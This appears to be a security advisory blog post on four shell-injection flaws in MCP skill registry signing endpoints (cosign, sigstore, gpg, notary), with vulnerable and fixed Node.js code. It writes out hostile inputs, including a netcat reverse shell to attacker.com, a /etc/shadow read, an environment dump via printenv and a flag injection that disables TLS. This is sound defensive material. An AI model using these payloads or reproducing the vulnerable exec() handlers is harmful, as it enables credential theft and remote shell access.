← Blog

Claude MCP skill code injection — skill package signing and attestation pipeline endpoints (SA-SKL-INJECTION57)

SA-SKL-INJECTION57 identifies four code injection vulnerabilities in MCP skill registry package signing and attestation pipeline endpoints. Each finding stems from constructing shell commands via string interpolation of user-supplied values and executing them with exec(): cosign signing with an attacker-controlled key path achieves arbitrary command execution; sigstore attest with an attacker-controlled predicate file establishes a reverse shell; gpg decryption with an attacker-controlled passphrase exfiltrates all environment variables; and notary push with a space-injected server flag disables TLS verification.

SA-SKL-INJECTION57 findings at a glance
CRITICALINJECTION57-001 — exec(`cosign sign --key ${signingKeyPath} ${artifactRef}`); attacker signingKeyPath with ; cat /etc/shadow exfiltrates system password hashes; fix: execFile() array; signingKeyPath from server-side key registry; realpathSync containment
CRITICALINJECTION57-002 — exec(`sigstore attest --identity ${signerIdentity} --predicate ${predicateFile}`); attacker predicateFile with ; nc attacker.com 4444 -e /bin/sh establishes reverse shell with signing worker's IAM role; fix: execFile() array; predicate file from server-side workspace; realpathSync containment
CRITICALINJECTION57-003 — exec(`gpg --batch --passphrase ${passphrase} -d ${encryptedFile}`); attacker passphrase with ; printenv exfiltrates all env vars including GPG signing key passphrase; fix: execFile() array; use gpg-agent with pinentry; never accept passphrase from user input
HIGHINJECTION57-004 — exec(`notary push ${imageName} --server ${notaryServer}`); attacker notaryServer with space-injected --tlscacert=/dev/null disables TLS certificate verification, enabling MITM on notary trust data upload; fix: execFile() array; notaryServer from allowlist; explicit --tlscacert path

INJECTION57-001 — cosign exec() injection via signing key path

The package signing endpoint accepts a signingKeyPath parameter identifying which signing key to use for the cosign signing operation. The endpoint constructs a shell command string and passes it to exec(). Because exec() spawns a shell to interpret the command string, any shell metacharacters in signingKeyPath are interpreted by the shell. An attacker submits signingKeyPath = "/keys/prod.key ; cat /etc/shadow". The shell executes both the legitimate cosign command and the attacker-appended command, returning the system password hash file in the signing operation's output stream.

Vulnerable
// INJECTION57-001 — VULNERABLE
const { exec } = require('child_process');

router.post('/sign',
  requireSession,
  requireOwnership('skillId'),
  async (req, res) => {
    const { signingKeyPath, artifactRef } = req.body;
    // VULNERABLE: exec() interprets shell metacharacters in user-supplied signingKeyPath
    exec(`cosign sign --key ${signingKeyPath} ${artifactRef}`, (err, stdout, stderr) => {
      if (err) return res.status(500).json({ error: stderr });
      res.json({ ok: true, output: stdout }); // VULNERABLE: /etc/shadow in stdout
    });
  }
);
Fixed
// INJECTION57-001 — FIXED
const { execFile } = require('child_process');
const path = require('path');
const fs = require('fs');

// Server-side key registry — client supplies a key name, not a path
const SIGNING_KEY_REGISTRY = new Map([
  ['prod', '/keys/prod.key'],
  ['dev',  '/keys/dev.key'],
]);

router.post('/sign',
  requireSession,
  requireOwnership('skillId'),
  async (req, res) => {
    const { signingKeyName, artifactRef } = req.body;
    const signingKeyPath = SIGNING_KEY_REGISTRY.get(signingKeyName);
    if (!signingKeyPath) {
      return res.status(422).json({ error: 'Unknown signing key' });
    }
    // FIXED: realpathSync containment — reject path traversal attempts
    const resolvedKey = fs.realpathSync(signingKeyPath);
    if (!resolvedKey.startsWith('/keys/')) {
      return res.status(422).json({ error: 'Key path traversal rejected' });
    }
    // FIXED: execFile() passes args as array — no shell, no metacharacter interpretation
    execFile('cosign', ['sign', '--key', resolvedKey, artifactRef], (err, stdout, stderr) => {
      if (err) return res.status(500).json({ error: 'Signing failed' });
      res.json({ ok: true });
    });
  }
);

Shadow file exfiltration impact: On a Linux system, /etc/shadow contains hashed passwords for all system accounts. If the registry worker runs as root or as a user in the shadow group, the hash dump enables offline brute-force attacks against the worker's OS credentials and any shared service account passwords.

INJECTION57-002 — sigstore attest exec() injection via predicate file path

The attestation pipeline endpoint accepts a predicateFile parameter pointing to a SLSA provenance predicate JSON file. The endpoint constructs a shell command string with the user-supplied path and passes it to exec(). An attacker submits predicateFile = "/workspace/pred.json ; nc attacker.com 4444 -e /bin/sh". The shell executes the netcat command after the legitimate sigstore attest invocation, establishing a reverse shell as the signing worker process user. The signing worker's IAM role typically has S3 write access to the artifact distribution bucket, providing the attacker with persistent supply-chain write access.

Vulnerable
// INJECTION57-002 — VULNERABLE
router.post('/attest',
  requireSession,
  requireOwnership('skillId'),
  async (req, res) => {
    const { signerIdentity, predicateFile } = req.body;
    // VULNERABLE: exec() — attacker predicateFile installs reverse shell
    exec(
      `sigstore attest --identity ${signerIdentity} --predicate ${predicateFile}`,
      (err, stdout, stderr) => {
        if (err) return res.status(500).json({ error: stderr });
        res.json({ ok: true });
      }
    );
  }
);
Fixed
// INJECTION57-002 — FIXED
const WORKSPACE_ROOT = '/workspace/attestations';

router.post('/attest',
  requireSession,
  requireOwnership('skillId'),
  async (req, res) => {
    const { predicateFileName } = req.body;
    // FIXED: predicateFile is a filename, resolved from server-side workspace root
    const predicatePath = path.join(WORKSPACE_ROOT, req.params.id, predicateFileName);
    const resolvedPath = fs.realpathSync(predicatePath);
    if (!resolvedPath.startsWith(WORKSPACE_ROOT)) {
      return res.status(422).json({ error: 'Path traversal rejected' });
    }
    // FIXED: execFile() — no shell; signerIdentity from session, not request body
    execFile(
      'sigstore',
      ['attest', '--identity', req.session.signerIdentity, '--predicate', resolvedPath],
      (err) => {
        if (err) return res.status(500).json({ error: 'Attestation failed' });
        res.json({ ok: true });
      }
    );
  }
);

INJECTION57-003 — gpg exec() injection via passphrase parameter

The encrypted signing key decryption endpoint accepts a passphrase parameter used to decrypt the GPG-encrypted signing key before use. The endpoint constructs a shell command string embedding the passphrase and passes it to exec(). An attacker submits passphrase = "correct-horse-battery ; printenv". The shell executes printenv after the gpg decryption attempt, returning all environment variables in the subprocess output stream. The environment contains the GPG_SIGNING_KEY_PASSPHRASE value used to unlock the master signing key, as well as any cloud provider credentials present in the worker's environment.

Vulnerable
// INJECTION57-003 — VULNERABLE
router.post('/decrypt-signing-key',
  requireSession,
  async (req, res) => {
    const { passphrase, encryptedFile } = req.body;
    // VULNERABLE: exec() — attacker passphrase with ; printenv exfiltrates all env vars
    exec(
      `gpg --batch --passphrase ${passphrase} -d ${encryptedFile}`,
      (err, stdout, stderr) => {
        if (err) return res.status(500).json({ error: stderr });
        res.json({ ok: true, decryptedKey: stdout });
      }
    );
  }
);
Fixed
// INJECTION57-003 — FIXED
router.post('/decrypt-signing-key',
  requireSession,
  async (req, res) => {
    // FIXED: never accept passphrase from user input — use gpg-agent with pinentry
    // The agent holds the passphrase in memory; the decryption call uses the agent socket
    const resolvedFile = fs.realpathSync(path.join(SIGNING_KEY_DIR, req.params.keyId + '.gpg'));
    if (!resolvedFile.startsWith(SIGNING_KEY_DIR)) {
      return res.status(422).json({ error: 'Path traversal rejected' });
    }
    // FIXED: execFile() array — no passphrase from user input; gpg-agent provides credentials
    execFile(
      'gpg',
      ['--batch', '--use-agent', '-d', resolvedFile],
      { env: { ...process.env, GPG_AGENT_INFO: process.env.GPG_AGENT_INFO } },
      (err, stdout) => {
        if (err) return res.status(500).json({ error: 'Decryption failed' });
        res.json({ ok: true });
      }
    );
  }
);

INJECTION57-004 — notary push exec() space injection disabling TLS verification

The notary trust data upload endpoint accepts a notaryServer parameter identifying the notary server URL. The endpoint constructs a shell command string with the user-supplied server URL and passes it to exec(). Because the notary CLI parses the full command string, an attacker can inject additional flags by including spaces in the server value. An attacker submits notaryServer = "notary.internal --tlscacert=/dev/null". The resulting command notary push imageName --server notary.internal --tlscacert=/dev/null instructs the notary CLI to skip TLS certificate verification by using /dev/null as the CA certificate. Any attacker with network access between the worker and the notary server can now MITM the trust data upload, replacing legitimate trust metadata with attacker-controlled content.

Vulnerable
// INJECTION57-004 — VULNERABLE
router.post('/push-trust-data',
  requireSession,
  requireOwnership('skillId'),
  async (req, res) => {
    const { imageName, notaryServer } = req.body;
    // VULNERABLE: exec() — space-injected notaryServer disables TLS verification
    exec(`notary push ${imageName} --server ${notaryServer}`, (err, stdout, stderr) => {
      if (err) return res.status(500).json({ error: stderr });
      res.json({ ok: true });
    });
  }
);
Fixed
// INJECTION57-004 — FIXED
const NOTARY_SERVER_ALLOWLIST = new Set([
  'notary.internal',
  'notary.skillaudit.dev',
]);
const NOTARY_CA_CERT = '/etc/ssl/certs/notary-ca.crt';

router.post('/push-trust-data',
  requireSession,
  requireOwnership('skillId'),
  async (req, res) => {
    const { imageName, notaryServer } = req.body;
    if (!NOTARY_SERVER_ALLOWLIST.has(notaryServer)) {
      return res.status(422).json({ error: 'notaryServer not in permitted allowlist' });
    }
    // FIXED: execFile() array — space injection impossible; explicit --tlscacert path
    execFile(
      'notary',
      ['push', imageName, '--server', notaryServer, '--tlscacert', NOTARY_CA_CERT],
      (err) => {
        if (err) return res.status(500).json({ error: 'Trust push failed' });
        res.json({ ok: true });
      }
    );
  }
);

SkillAudit detection: The scanner identifies INJECTION57 patterns using four AST query classes: exec(` template literal calls containing ${ from request body fields; execFile( calls where the second (args) parameter is a string instead of an array; --passphrase ${ patterns in shell command strings; and --server ${ patterns without a preceding allowlist check. Submit your MCP skill registry codebase to SkillAudit for a full audit report.

Related: SA-SKL-INJECTION56: Code injection in static analysis and linting pipeline endpoints • All advisories